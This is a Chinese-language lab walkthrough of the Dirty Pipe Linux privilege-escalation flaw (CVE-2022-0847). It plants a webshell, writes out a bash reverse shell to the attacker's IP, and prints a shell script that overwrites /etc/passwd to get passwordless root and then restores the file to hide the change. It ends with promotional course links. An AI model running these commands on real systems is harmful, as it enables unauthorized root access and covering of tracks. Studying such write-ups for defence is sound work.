前言:CVE-2022-0847 是存在于 Linux内核 5.8 及之后版本中的本地提权漏洞。攻击者通过利用此漏洞,可覆盖重写任意可读文件中的数据,从而可将普通权限的用户提升到特权 root。 CVE-2022-0847 的漏洞原理类似于 CVE-2016-5195 脏牛漏洞(Dirty Cow),但它更容易被利用。漏洞作者将此漏洞命名为“Dirty Pipe”。
影响版本:
5.8 <= Linux内核版本 <5.16.11 / 5.15.25 / 5.10.102
0x01 环境部署
- 系统版本: Ubuntu 21.10
- 系统内核: Linux m1key 5.13.0-16-generic #16-Ubuntu SMP Fri Sep 3 14:53:27 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux
- 靶机IP:192.168.2.115
- 提前安装好apache等组件,在网站根目录上写一个一句话木马。
0x02 连接webshell反弹shell
1、查看靶机上的webshell内容。
2、使用蚁剑连接webshell,打开tmp目录,将准备好的提权exp和反弹shell脚本上传到/tmp目录下。
其中re.sh
的内容为:bash -i >& /dev/tcp/192.168.2.1/12345 0>&1
.
exp为可执行的提权程序。由于利用方式有点繁琐,所以单独写一个2.sh调用exp来进行一个提权的操作。
3、打开蚁剑虚拟终端,给刚上传上去的三个文件加个权限。
chmod 777 /tmp/*
4、攻击机监听本地端口12345,蚁剑虚拟终端执行bash re.sh
。
0x03 提权
1、反弹shell之后,就可以执行提权程序了。
2、可以看到我们已经成功获取了root权限。
3、我们可以看看2.sh里面的内容分析一下。
# 备份密码文件
rm -f /tmp/passwd
cp /etc/passwd /tmp/passwd
if [ -f "/tmp/passwd" ];then
echo "/etc/passwd已备份到/tmp/passwd"
passwd_tmp=$(cat /etc/passwd|head)
./exp /etc/passwd 1 "${passwd_tmp/root:x/oot:}"
echo -e "\n# 恢复原来的密码\nrm -rf /etc/passwd\nmv /tmp/passwd /etc/passwd"
# 现在可以无需密码切换到root账号
su root
else
echo "/etc/passwd未备份到/tmp/passwd"
exit 1
fi
先将/etc/passwd文件复制到当前目录,然后利用EXP修改系统的passwd文件使其不用密码就能登录,然后直接su到root,然后再将之前的passwd替换回去,所谓神不知鬼不觉,非常好用。
0x04 获取源码
- 由于该exp比较敏感,所以无法公布,想要的小伙伴可以联系我企鹅群获取。
- 相关视频链接:
https://www.bilibili.com/video/BV1SZ4y1r74E/?spm_id_from=333.999.0.0&vd_source=913edb0b204c3345e9e76e1981bc8198
网络安全工程师(白帽子)企业级学习路线
第一阶段:安全基础(入门)
第二阶段:Web渗透(初级网安工程师)
第三阶段:进阶部分(中级网络安全工程师)
如果你对网络安全入门感兴趣,那么你需要的话可以点击这里👉网络安全重磅福利:入门&进阶全套282G学习资源包免费分享!